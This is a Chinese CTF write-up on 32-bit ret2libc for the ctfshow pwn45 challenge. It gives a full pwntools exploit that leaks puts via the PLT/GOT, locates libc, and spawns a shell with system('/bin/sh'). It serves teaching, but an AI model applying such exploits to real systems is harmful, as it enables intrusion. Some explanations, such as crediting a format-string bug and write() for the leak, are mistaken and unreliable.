pwn入门之32位ret2libc

文章目录

    • 简述libc
    • 具体例题
    • 内容具体分析
    • 补充

简述libc

何为libc,我们平时看的ida里面的函数只是部分的,还有很多未显示出来,都存在libc库中,比如下面的例题中ida中没有system函数和bin/sh.这就需要用到libc库中的函数。ida中的我们称之为静态分析,而更多的内容都在libc库中。

具体例题

ctfshow45

首先ida分析一下main函数跟进ctfshow函数发现read函数(溢出点)

pwn入门之32位ret2libc_第1张图片

这里我们可以看到一个write函数,是本道题的关键

pwn入门之32位ret2libc_第2张图片

这里直接上exp,在下面解读

from pwn import *                                    
from LibcSearcher import *
p = remote('pwn.challenge.ctf.show', 28157)
elf=ELF('./45') 
main_addr=0x804866D
pay1=b'a'*(0x6b+4)+p32(elf.plt['puts'])+p32(main_addr)+p32(elf.got['puts'])
p.sendline(pay1)
puts_addr=u32(p.recvuntil(b'\xf7')[-4:])
print(hex(puts_addr))
libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base + libc.dump("system")
binsh_addr=libc_base + libc.dump("str_bin_sh")
pay2=b'a'*(0x6b+4) + p32(system_addr) + p32(0) + p32(binsh_addr)
p.sendline(pay2)
p.interactive()

内容具体分析

elf=ELF('./45') 是在 Python 语言中创建或引用一个 ELF对象的一个例子。这里假设 ELF 是一个已经定义好的类或函数。ELF 是一种常见的二进制文件格式,用于可执行文件、目标代码、共享库和内核模块等。这里详细解读一下pay1:elf.plt['puts']这个玩意指的是puts函数的plt表的地址,同理elf.got['puts']指的是puts函数的got表的地址。何为plt表,何为got表。这里可以参考其他佬的图pwn入门之32位ret2libc_第3张图片

总结起来就是你想调用scanf函数(其他很多函数也是如此如puts函数)就需要用到它的plt表和got表。plt表指向got表,而got表指向函数的真实地址。(想要弄懂建议去看汇编语言)。为什么第一个payload发送后能够得到puts_addr,上面说到write函数是关键,看下write函数原型write(1,buf,0x32)和read很像,这里涉及到一个格式化漏洞(这个也是pwn学习中的一大知识点,后续文章再讲),像puts,write,printf等类似函数在书写时不规范会导致多输出一些信息,正确写法应该是printf("%5d\n",1000)这种前面加上格式化的,懒的程序员在写代码时会直接printf(1000)导致泄露信息。泄露出printf函数在libc库中的真实地址

%d 以十进制整数的格式输出

%s 以字符串的的格式输出

%x 以十六进制数的格式输出

%c 以字符的格式输出

%p 以指针的格式输出

%d 以十进制整数的格式输出

 回到这个题,pay1的作用时调用puts函数的plt表然后把main函数地址做为返回地址(使下次payload能够输入),再调用got表指向puts函数的真实地址,通过write函数泄露出真实地址,图中的0xf7e35360就是puts函数的真实地址

图中的蓝色*号下面的一串代码是字节码或者称为机械码(给电脑读取用的)通过u32进行解包变成数字再用hex打包变化成我们所需要的地址了。接下来解读p.recvuntil(b'\xf7')[-4:]。意思是接收到字节为\xf7的东西(这是地址的标志),后面[-4:]表示接受后4位地址(因为32文件地址有4位)。至此我们就得到了puts函数的真实地址,接下来又有几个知识点

1:libc基地址。这个是因为libc具有延时机制的绑定,所以我们需要选择已经执行过了的函数来进行泄漏。 我们一般泄漏__libc_start_main的地址,这个地址就是libc文件的基址。计算方式如下

函数A真实地址-A的偏移地址 = 函数B真实地址-B的偏移地址 = 基地址。

根据这个原理不就可以算出其他函数的真实地址吗。

2:详解

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base + libc.dump("system")
binsh_addr=libc_base + libc.dump("str_bin_sh")

第一行的意思是,你正在使用 LibcSearcher 来查找或定位 puts 函数的地址,并将查找到的结果存储在 libc 变量中。第二行拿上面泄露出的puts的真实地址减去libc库中的puts函数地址得到libc基地址第三行和第四行则是计算system和bin/sh的地址。pay2则就是常规的链子(参考上篇博客)

补充

本文章涉及到很多知识点没有详细讲解。大家可以自行学习或者了解

1.汇编指令。(如pay1是如何从plt表跳转到got表都是在汇编指令下进行的操作)

2.格式化字符串漏洞。(这个也是pwn类型中很大一类)

总结:本人目前学的浅薄,例题也是最简单的libc一种,文章有错误地方欢迎指出。

你可能感兴趣的:(python,linux,安全)